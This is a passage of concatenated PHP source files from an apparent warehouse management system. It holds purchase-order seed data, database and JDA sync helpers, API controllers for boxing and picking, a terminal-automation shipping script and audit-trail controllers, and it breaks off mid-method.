"vendor_id"=>2,
"receiver_no"=>20212,
"purchase_order_no"=>10469,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20213,
"purchase_order_no"=>10470,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 2,
"assigned_to_user_id" => 3,
"vendor_id"=>2,
"receiver_no"=>20214,
"purchase_order_no"=>10471,
"destination"=>'W',
"po_status" => 2,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20215,
"purchase_order_no"=>10472,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20216,
"purchase_order_no"=>10473,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 2,
"assigned_to_user_id" => 3,
"vendor_id"=>2,
"receiver_no"=>20217,
"purchase_order_no"=>10474,
"destination"=>'W',
"po_status" => 2,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20218,
"purchase_order_no"=>10475,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20219,
"purchase_order_no"=>10476,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 2,
"assigned_to_user_id" => 3,
"vendor_id"=>2,
"receiver_no"=>20220,
"purchase_order_no"=>10477,
"destination"=>'W',
"po_status" => 2,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20221,
"purchase_order_no"=>10478,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20222,
"purchase_order_no"=>10479,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 2,
"assigned_to_user_id" => 3,
"vendor_id"=>2,
"receiver_no"=>20223,
"purchase_order_no"=>10480,
"destination"=>'W',
"po_status" => 2,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20224,
"purchase_order_no"=>10481,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20225,
"purchase_order_no"=>10482,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20226,
"purchase_order_no"=>10483,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 2,
"assigned_to_user_id" => 3,
"vendor_id"=>2,
"receiver_no"=>20227,
"purchase_order_no"=>10484,
"destination"=>'W',
"po_status" => 2,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20228,
"purchase_order_no"=>10485,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20229,
"purchase_order_no"=>10486,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 2,
"assigned_to_user_id" => 3,
"vendor_id"=>2,
"receiver_no"=>20230,
"purchase_order_no"=>10487,
"destination"=>'W',
"po_status" => 2,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20231,
"purchase_order_no"=>10488,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
PurchaseOrder::create(array(
"assigned_by" => 0,
"assigned_to_user_id" => 0,
"vendor_id"=>2,
"receiver_no"=>20232,
"purchase_order_no"=>10489,
"destination"=>'W',
"po_status" => 1,
"delivery_date" => date("Y-m-d")
));
}
}<file_sep><?php
require_once(__DIR__.'/../config/config.php');
require_once(__DIR__ . '/../db_connection/db_connection.php');
require_once(__DIR__.'/../jda_connection/jda_connection.php');
class DB_function_whshipping {
private $jda;
function __construct()
{
$config = mysql_credentials();
$this->sql_conn = new Sqlconnect($config['hostname'], $config['database'], $config['username'], $config['password']);
$this->jda = new JDAConnect();
$this->jda->connect();
}
public function Connect() {
return $this->sql_conn->Connect();
}
public function getLoadCodeShip()
{
$query = "SELECT transfer_no from wms_picklist where pl_status = '18' and sync_to_jda = '1'";
///sync to jda = 1; the transfer number was Picked status at JDA
return $this->sql_conn->runQuery($query);
}
/*public function getShipping($loadCode) {
$query = "SELECT wms_picklist.transfer_no as move_doc_number FROM wms_picklist where move_doc_number=94";
$query = "SELECT wms_picklist.transfer_no as move_doc_number
FROM wms_load
left join wms_load_details on wms_load_details.load_code = wms_load.load_code
left join wms_box on wms_load_details.box_number = wms_box.box_code
left join wms_picklist on wms_box.move_doc_number = wms_picklist.move_doc_number
where wms_load.tagging_load=1 and wms_load.load_code='$loadCode' GROUP by wms_picklist.transfer_no";
return $this->sql_conn->runQuery($query);
}*/
/* public function JDAUpdateWHShipping($whmove) {
return $this->jda->runDb2Query($query);
}*/
public function updateIsSyncedWHShipping($mts_no) {
$query = " UPDATE wms_picklist set sync_to_jda ='2' where transfer_no = '$mts_no' and pl_status='18'";
///
return $this->sql_conn->updateQuery($query);
}
}<file_sep><?php
chdir(dirname(__FILE__));
include_once('ewms_cron_class.php');
$ewms = new cronEWMS();
/*$ewms->letdown(); sleep(10);
$ewms->letdownDetail(); sleep(10);*/
$ewms->picklist(); sleep(10);
$ewms->picklistDetail(); sleep(10);
$ewms->storeOrder(); sleep(10);
$ewms->storeOrderDetails(); sleep(10);
$ewms->close();<file_sep><?php
class StoreReturnPickingdetail extends Eloquent {
protected $table = 'store_return_pick_details';
protected $fillable = array('sku', 'so_no');
public static function getFilteredPicklistDetailStock($data, $getCount= false)
{
$query = StoreReturnPickingdetail::where('move_doc_number', $data['picklist_doc'])
->select(DB::raw('convert(wms_product_lists.sku, decimal(20)) as sku,convert(wms_store_return_pick_details.sku, decimal(20,0)) as upc'),'product_lists.description','store_return_pick_details.quantity_to_pick','store_return_pick_details.moved_qty')
->Join('product_lists', 'store_return_pick_details.sku', '=', 'product_lists.upc','left');
if( CommonHelper::hasValue($data['filter_sku']) ) $query->where('store_return_pick_details.sku', 'LIKE', '%'.$data['filter_sku'].'%');
if( CommonHelper::hasValue($data['filter_so']) ) $query->where('product_lists.sku', 'LIKE', '%'.$data['filter_so'].'%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='sku') $data['sort'] = 'product_lists.sku';
if ($data['sort']=='upc') $data['sort'] = 'product_lists.upc';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
if($getCount) {
$result = $query->count();
}
return $result;
}
}<file_sep><?php
return array(
'heading_title' => 'Users',
'heading_title_insert' => 'New User',
'heading_title_update' => 'Update User',
'heading_title_profile' => 'Update Profile',
'heading_title_password' => '<PASSWORD>',
'heading_title_login' => 'Member Login',
'heading_subtitle_login' => 'Please provide your details',
'text_success_insert' => 'Successfully created a new user!',
'text_success_update' => 'Successfully updated the user profile!',
'text_success_password' => 'Successfully updated the password!',
'text_success_delete' => 'Successfully deleted the selected users!',
'label_filter_username' => 'Username:',
'label_filter_barcode' => 'Barcode:',
'label_filter_user_role' => 'Role:',
'col_id' => 'No.',
'col_username' => 'Username',
'col_barcode' => 'Barcode',
'col_name' => 'Name',
'col_user_role' => 'Role',
'col_brand' => 'Brand',
'col_date' => 'Date Created',
'col_action' => 'Action',
'button_insert' => 'Add New User',
'button_delete' => 'Delete Users',
'entry_username' => 'Username:',
'entry_password' => '<PASSWORD>:',
'entry_confirm_password' => '<PASSWORD> Password:',
'entry_barcode' => 'Barcode:',
'entry_firstname' => 'First Name:',
'entry_lastname' => 'Last Name:',
'entry_user_role' => 'Role:',
'entry_brand' => 'Brand:',
// Login
'text_success_login' => 'You are now logged in!',
'text_success_logout' => 'You just logged out!',
'error_login' => 'Your username/password combination was incorrect',
'error_login_stock_piler' => 'Account not allowed.',
);<file_sep><?php
class ApiAuditTrail extends BaseController {
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Insert record
* @param array $data array of data
* @return boolean
*/
public function insertRecord() {
try {
DB::beginTransaction();
CommonHelper::setRequiredFields(array('data'));
$data = json_decode(Request::get('data'), true);
foreach ($data as $value)
{
$auditTrail = new AuditTrail;
$auditTrail->data_after = $value['data_after'];
$auditTrail->reference = $value['reference'];
$auditTrail->action = $value['action'];
$auditTrail->module = $value['module'];
$auditTrail->user_id = Authorizer::getResourceOwnerId();
$auditTrail->save();
}
DB::commit();
return CommonHelper::return_success();
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
}<file_sep><?php
class eWMS
{
protected $db;
public function __construct($hostname, $username, $password, $database)
{
$this->db = new mysqli($hostname, $username, $password, $database);
}
public function GetPendingPO()
{
$db = $this->db;
$result = $db->query("SELECT * FROM jda_connections");
if($result === false) {
return false;
} else {
}
}
/**
* retrieve the connection for specific jda instance
*/
public function GetJdaConnection($connection_id)
{
$db = $this->db;
$result = $db->query("SELECT * FROM jda_connections WHERE id={$connection_id}");
if($result === false) {
return false;
} else {
return mysqli_fetch_assoc($result);
}
}
public function PickUpToForAutoTLProcess($osp_site_id)
{
$db = $this->db;
$result = $db->query("SELECT * FROM autotl_queues WHERE osp_site_id={$osp_site_id} AND status=1 AND ready=1 LIMIT 0,1");
if($result === false) {
return false;
} else {
return mysqli_fetch_assoc($result);
/*
$queue = mysqli_fetch_assoc($result);
$result = $db->query("UPDATE autotl_queues SET status=2 WHERE id={$queue['id']}");
if($result !== false) {
return $queue;
} else {
return false;
}
*/
}
}
}<file_sep><?php
class ApiBox extends BaseController {
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Get boxes by store
*
* @example www.example.com/api/{version}/boxes/{store_code}
* @return boxes
*/
public function RPolist($piler_id)
{
try {
$polist = Box::GetApiRPoList($piler_id);
return Response::json(array('result' => $polist),200);
//return $polist;
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public static function getBoxesByStore($storeCode)
{
try {
//$boxes = Box::getBoxes($storeCode);
$user_id = Authorizer::getResourceOwnerId();
$boxes = Box::getBoxesUserId($storeCode,$user_id);
return CommonHelper::return_success_message($boxes);
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Get boxes by store
*
* @example www.example.com/api/{version}/boxes/{store_code}/{user_name}
* @return boxes
*/
public static function getBoxesByStoreUserId($storeCode,$userid)
{
try {
$boxes = Box::getBoxesUserId($storeCode,$userid);
return CommonHelper::return_success_message($boxes);
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Post picking detail
*
* @example www.example.com/api/{version}/picking/detail
*
* @param data box code with quantity to move array
* @param sku sku of what the client is trying to move
* @param doc_nos document numbers involved in the transaction
* @param store_code store code
* @return void
*/
public static function postToPicklistToBox()
{
try {
CommonHelper::setRequiredFields(array('data', 'sku', 'doc_nos', 'store_code'));
$data = json_decode(Request::get('data'));
$docNos = json_decode(Request::get('doc_nos'));
$sku = Request::get('sku');
$storeCode = Request::get('store_code');
self::checkDataAndDocNosFormat($data, $docNos);
DB::beginTransaction();
$picklistDetail = self::getPicklistDetail($docNos, $storeCode, $sku);
$dataAfter = self::moveQuantityToBox($picklistDetail,$data, $storeCode, $sku);
self::postToPicklistToBoxAuditTrail($dataAfter, $docNos);
DB::commit();
return Response::json(array(
'error' => false,
'message' => 'Success'),
200
);
} catch (Exception $e) {
DB::rollback();
return Response::json(array(
"error" => true,
"result" => $e->getMessage()),
400
);
}
}
/**
* Move quantity to box, and change moved_qty in picking detail
*
* @example self::moveQuantityToBox
*
* @param picklistDetail picklist details
* @param data box code
* @param storeCode store code
* @param sku sku/up
* @return data that will be logged in audi trail
*/
private static function moveQuantityToBox($picklistDetail,$data, $storeCode, $sku)
{
$picklistDetail = $picklistDetail->toArray();
// print_r($data);
// $countPicklistDetail = count($picklistDetail);
// $countData = count($data);
$picklistDetailCounter = ( (count($picklistDetail) > count($data)) ? count($picklistDetail) : count($data) );
// print_r($picklistDetailCounter);
$dataCounter = 0;
$distributedQty = 0;
$dataAfter = "";
for ($i = 0; $i < $picklistDetailCounter; $i++) {
if($distributedQty === 0) {
//check data of boxes if box exists, if it does, set it as the box and distributed quantity
if(array_key_exists($dataCounter,$data)) {
self::checkBoxData($data[$dataCounter], $storeCode);
$distributedQty = $data[$dataCounter]->qty_packed;
$dataCounter++;
if($i > 0) $i--;
} else {
break;
}
}
// dd();
$qtyToMove = 0;
//if the needed quantity of the picklist detail is less than the distributed quantity, set it as the qty to move
if((int)$picklistDetail[$i]['quantity_to_pick'] <= $distributedQty) {
$qtyToMove = (int) $picklistDetail[$i]['quantity_to_pick'];
$distributedQty = $distributedQty - $picklistDetail[$i]['quantity_to_pick'];
$picklistDetail[$i]['quantity_to_pick'] -= $qtyToMove;
} else {
$qtyToMove = $distributedQty;
$distributedQty = 0;
$picklistDetail[$i]['quantity_to_pick'] -= $qtyToMove;
}
if($qtyToMove > 0) {
PicklistDetails::moveToBox($picklistDetail[$i]['id'], $qtyToMove);
BoxDetails::moveToBox($picklistDetail[$i]['id'], $data[$dataCounter-1]->box_code,$qtyToMove);
$dataAfter = $qtyToMove .' items of '. $sku . ' was packed to ' . $data[$dataCounter-1]->box_code . "\n";
}
}
if($distributedQty > 0) {
throw new Exception("Cannot move quantity greater than required");
}
// print_r($dataAfter);
// dd();
return $dataAfter;
}
/**
* Get picklist detail with checking
*
* @example self::getPicklistDetail()
*
* @param doc_nos document numbers involved in the transaction
* @param storeCode store code
* @param sku sku/up
* @return picklistDetail
*/
private static function getPicklistDetail($docNos, $storeCode, $sku)
{
$picklistDetail = PicklistDetails::getPicklistDetail($docNos, $storeCode, $sku);
if(count($picklistDetail)=== 0) throw new Exception('The SKU for that store and letdown documents does not exist.');
return $picklistDetail;
}
/**
* check if passed data and document numbers are in a correct format
*
* @example self::checkDataAndDocNosFormat()
*
* @param data box code with quantity to move
* @param docNos document numbers
* @throws error if wrong format was passed
* @return void
*/
private static function checkDataAndDocNosFormat($data, $docNos)
{
if(empty($data)) throw new Exception("Parameter doc_nos does not have a valid format [{'box_code':'930213', 'qty_packed': 20}]");
/*else {
$arr = array();
foreach($data as $value) {
if( $value->qty_packed == 0 ) throw new Exception("There are UPC's not yet packed.", 1);
}
}*/
if(empty($docNos)) throw new Exception("Parameter doc_nos does not have a valid format");
}
/**
* Check box data
*
* @example self::checkBoxData({params})
*
* @param boxData box code and quantity packed ex: {'box_code': '', 'qty_packed': ''}
* @param storeCode store code
* @return Status if data passed is valid
*/
private static function checkBoxData($boxData, $storeCode)
{
//check data passed
if($boxData->box_code === '') throw new Exception("Box code value is missing in data.");
if($boxData->qty_packed === '') throw new Exception("Quantity packed value is missing in data.");
//check if valid box is passed
$box = Box::getBox($boxData->box_code, $storeCode);
if(count($box) === 0) throw new Exception("Box code does not exist for that store.");
return true;
}
/**
* post audit trail when picklist details are moved to boxes
*
* @example self::postToPicklistToBoxAuditTrail();
*
* @param dataAfter changes that happened to the picklist
* @param docNos document numbers
* @return void
*/
public static function postToPicklistToBoxAuditTrail($dataAfter, $docNos)
{
$arrParams = array(
'module' => Config::get("audit_trail_modules.picking"),
'action' => Config::get("audit_trail.post_picklist_to_box"),
'reference' => "Picklist Document #: " .implode(',', $docNos),
'data_before' => '',
'data_after' => $dataAfter,
'user_id' => ResourceServer::getOwnerId(),
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
/**
* Create box in series
*
* @example self::postToPicklistToBoxAuditTrail();
*
* @param dataAfter changes that happened to the picklist
* @param docNos document numbers
* @return void
*/
public static function postCreateBox()
{
try {
CommonHelper::setRequiredFields(array('store'));
DB::beginTransaction();
$storeCode = Request::get('store');
$user_id = Authorizer::getResourceOwnerId();
$numberOfBoxes = 1;
if(strlen($storeCode) == 1) $newStoreCodeFormat = "000{$storeCode}";
else if(strlen($storeCode) == 2) $newStoreCodeFormat = "00{$storeCode}";
else if(strlen($storeCode) == 3) $newStoreCodeFormat = "0{$storeCode}";
else if(strlen($storeCode) == 4) $newStoreCodeFormat = "{$storeCode}";
else throw new Exception("Invalid store");
#check if a record exist in that store
$box = Box::where('box_code', 'LIKE', "{$newStoreCodeFormat}%")->max('box_code');
#if result is empty follow the format
if($box == null) $box = $newStoreCodeFormat."00000";
#if exists get the latest then increment box
$formattedBoxCode = array();
$containerBox = array(); //use for audit trail
foreach(range(1, $numberOfBoxes) as $number) {
$boxCode = substr($box, -5);
$boxCode = (int) $boxCode + $number;
$formattedBoxCode[$number]['box_code'] = $newStoreCodeFormat . sprintf("%05s", (int)$boxCode);
$formattedBoxCode[$number]['store_code'] = $storeCode;
$formattedBoxCode[$number]['created_at'] = date('Y-m-d H:i:s');
$formattedBoxCode[$number]['userid'] = $user_id;
$containerBox[] = $newStoreCodeFormat . sprintf("%05s", (int)$boxCode);
}
Box::insert($formattedBoxCode);
$storeName = Store::getStoreName($storeCode);
$boxCodeInString = implode(',', $containerBox);
self::postCreateBoxAuditTrail($boxCodeInString, $storeName);
DB::commit();
return CommonHelper::return_success_message($containerBox[0]);
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Create box in series by username
*
* @example self::postCreateBoxByUserId();
*
* @param store store code
* @param username user name
* @return status is success/error
*/
public static function postCreateBoxByUserId()
{
try {
CommonHelper::setRequiredFields(array('store'));
CommonHelper::setRequiredFields(array('userid'));
DB::beginTransaction();
$storeCode = Request::get('store');
// $userid = Request::get('userid');
$userid = Auth::user()->id;
$numberOfBoxes = 1;
if(strlen($storeCode) == 1) $newStoreCodeFormat = "000{$storeCode}";
else if(strlen($storeCode) == 2) $newStoreCodeFormat = "00{$storeCode}";
else if(strlen($storeCode) == 3) $newStoreCodeFormat = "0{$storeCode}";
else if(strlen($storeCode) == 4) $newStoreCodeFormat = "{$storeCode}";
else throw new Exception("Invalid store");
#check if a record exist in that store
$box = Box::where('box_code', 'LIKE', "{$newStoreCodeFormat}%")->max('box_code');
#if result is empty follow the format
if($box == null) $box = $newStoreCodeFormat."00000";
#if exists get the latest then increment box
$formattedBoxCode = array();
$containerBox = array(); //use for audit trail
foreach(range(1, $numberOfBoxes) as $number) {
$boxCode = substr($box, -5);
$boxCode = (int) $boxCode + $number;
$formattedBoxCode[$number]['box_code'] = $newStoreCodeFormat . sprintf("%05s", (int)$boxCode);
$formattedBoxCode[$number]['store_code'] = $storeCode;
$formattedBoxCode[$number]['created_at'] = date('Y-m-d H:i:s');
$formattedBoxCode[$number]['userid'] = $userid;
$containerBox[] = $newStoreCodeFormat . sprintf("%05s", (int)$boxCode);
}
Box::insert($formattedBoxCode);
$storeName = Store::getStoreName($storeCode);
$boxCodeInString = implode(',', $containerBox);
self::postCreateBoxAuditTrail($boxCodeInString, $storeName);
DB::commit();
return CommonHelper::return_success_message($containerBox[0]);
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
private static function postCreateBoxAuditTrail($boxCode, $storeName)
{
$user_id = Authorizer::getResourceOwnerId();
$userInfo = User::find($user_id);
$dataBefore = '';
$dataAfter = 'User '. $userInfo->username . ' created a box with code ' . $boxCode. ' for ' . $storeName;
$arrParams = array(
'module' => Config::get('audit_trail_modules.boxing'),
'action' => Config::get('audit_trail.create_box'),
'reference' => 'Box code # ' . $boxCode,
'data_before' => $dataBefore,
'data_after' => $dataAfter,
'user_id' => $user_id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
/**
* Get boxes that are not empty
*
* @example www.example.com/api/{version}/boxes/all
* @return boxes
*/
public static function getAllBoxes()
{
try {
$boxes = BoxDetails::getAllBoxes();
return CommonHelper::return_success_message($boxes);
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
}<file_sep><?php
class StoreUsers extends Eloquent {
protected $guarded = array();
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'store_users';
public static function checkUser($data = array()) {
$username = $data['username'];
$query = StoreUsers::where('username','=', $username);
//
$result = $query->first();
DebugHelper::log(__METHOD__, $result);
return $result;
}
}<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class palletizingStep6 extends jdaCustomClass
{
private static $formMsg = "";
private static $weight = 1;
/*
Palletizing: Shipping
13
15
14
05
3
Enter load id: LOADXXX20
press Enter
Enter actual weight: 1 (default)
F7
press ENTER
*/
public function __construct() {
// parent::__construct();
parent::login();
}
private static function enterRadioFrequencyApplications()
{
parent::$jda->screenWait("Radio Frequency Applications");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("15",22,44)),ENTER,true);
echo "Entered: Radio Frequency Applications \n";
}
private static function enterRFApplications()
{
parent::$jda->screenWait("RF Applications");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("14",22,44)),ENTER,true);
echo "Entered: RF Applications \n";
}
private static function enterShipping()
{
parent::$jda->screenWait("Shipping");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("05",15,1)),ENTER,true);
echo "Entered: Shipping \n";
}
private static function enterShippingAgain()
{
parent::$jda->screenWait("Transfer Shipping");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("3",10,2)),ENTER,true);
echo "Entered: Shipping Again \n";
}
public function enterLoadId($load_code)
{
parent::$jda->screenWait("Load ID");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%9s", $load_code),4,3); //enter pallet id
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: Load id \n";
return self::checkResponse($load_code,__METHOD__);
}
public static function pressEnter()
{
parent::$jda->screenWait("Loading Door");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,ENTER,true);
echo "Entered: Pressed Enter Key \n";
}
private static function enterActualWeight($load_code)
{
parent::$jda->screenWait("Actual Weight");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%12d", self::$weight),5,3); //enter pallet id
parent::$jda->write5250($formValues,F7,true);
echo "Entered: Actual Weight \n";
return self::checkResponse($load_code,__METHOD__);
}
/*public static function pressF7($load_code)
{
parent::$jda->screenWait("F7");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,F7,true);
echo "Entered: Pressed F7 Key \n";
return self::checkResponse($load_code);
}*/
public function save($load_code)
{
self::pressEnter();
self::enterActualWeight($load_code);
// self::pressF7($load_code);
}
private static function checkResponse($load_code,$source)
{
# error
if(parent::$jda->screenCheck('WRF0133')) {
self::$formMsg = "{$load_code}: WRF0133: The load id must be entered";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
return false;
}
if(parent::$jda->screenCheck('WRF0134')) {
$receiver_message="WRF0134: The load id does not exist";
self::$formMsg = "{$load_code}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($load_code,"{$source}: {$receiver_message}", TRUE);
parent::pressEnter();
return false;
}
if(parent::$jda->screenCheck('WRF0135')) {
$receiver_message="WRF0135: The load id must not be in a closed status";
self::$formMsg = "{$load_code}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($load_code,"{$source}: {$receiver_message}", TRUE);
parent::pressEnter();
return false;
}
#success
if(parent::$jda->screenCheck('WRF0052') || parent::$jda->screenWait('WRF0052')) {
self::$formMsg = "{$load_code}: WRF0052: The load approval job has been submitted to batch";
self::updateSyncStatus($load_code);
parent::pressEnter();
}
echo self::$formMsg;
return true;
}
/*
* Get all open is_load pallets
*/
/*public function getLoads()
{
$db = new pdoConnection();
echo "\n Getting load_code from db \n";
$sql = "SELECT l.load_code
FROM wms_load l
INNER JOIN wms_load_details ld ON l.load_code = ld.load_code AND is_load = 1
WHERE l.sync_status = 0 AND is_shipped = 1
ORDER BY l.load_code ASC";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['load_code'];
}
$db->close();
return $result;
}*/
/*
* Update batch wms_load_details sync_status
*/
/*private static function updateSyncStatus($load_code, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Updating... \n";
$sql = "UPDATE wms_load SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}'
WHERE sync_status = 0 AND load_code = '{$load_code}'";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}*/
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($reference,$error_message=null, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting receiver no from db \n";
$sql = "UPDATE wms_transactions_to_jda
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}', error_message = '{$error_message}'
WHERE sync_status = 0 AND module = 'Shipping' AND jda_action='Shipping' AND reference = '{$reference}'";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterUpToShippingAgain()
{
//TODO::checkvalues
//TODO::how to know if error
try {
$title = "Shipping \n";
echo $title ;
parent::checkRecoverJob();
parent::checkJobOnProgress();
parent::enterDistributionManagement();
self::enterRadioFrequencyApplications();
self::enterRFApplications();
self::enterShipping();
self::enterShippingAgain();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
public function logout()
{
parent::logout();
echo "Entered: Done shipping.... \n";
}
}
$db = new pdoConnection(); //open db connection
$jdaParams = array();
$jdaParams = array('module' => 'Loading', 'jda_action' => 'Assigning', 'checkSuccess' => 'true');
if($argv[1]) $jdaParams['reference'] = $argv[1];
$getUnsuccessfulLoads = $db->getJdaTransaction($jdaParams);
if(empty($getUnsuccessfulLoads))
{
$jdaParams = array();
$jdaParams = array('module' => 'Shipping', 'jda_action' => 'Shipping');
if($argv[1]) $jdaParams['reference'] = $argv[1];// for manual sync. Get the exec parameter
$getLoads = $db->getJdaTransaction($jdaParams);
print_r($getLoads);
if(! empty($getLoads) )
{
$shipping = new palletizingStep6();
$shipping->enterUpToShippingAgain();
// $getLoads = $shipping->getLoads();
foreach($getLoads as $load)
{
$validate = $shipping->enterLoadId($load);
if($validate) $shipping->save($load);
}
$shipping->logout();
}
else {
echo " \n No rows found!. \n";
}
}
else{
echo " \n Found unsuccessful assigning of load! Stop process!\n";
}
$db->close(); //close db connection
<file_sep><?php
class AuditTrailController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct()
{
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only' => array('Dashboard')));
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessAuditTrail', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessAuditTrail', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function insertData() {
$data_before = array('data' => 123);
$data_after = array('data' => 456);
$arrParams = array(
'module' => 'purchase order',
'action' => 'insert',
'data_before' => json_encode($data_before),
'data_after' => json_encode($data_after),
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
$this->layout->content = '';
}
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportAuditTrail', unserialize(Session::get('permissions')))) {
return Redirect::to('audit_trail');
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('audit_trail');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'filter_date_from' => Input::get('filter_date_from', NULL),
'filter_date_to' => Input::get('filter_date_to', NULL),
'filter_module' => Input::get('filter_module', NULL),
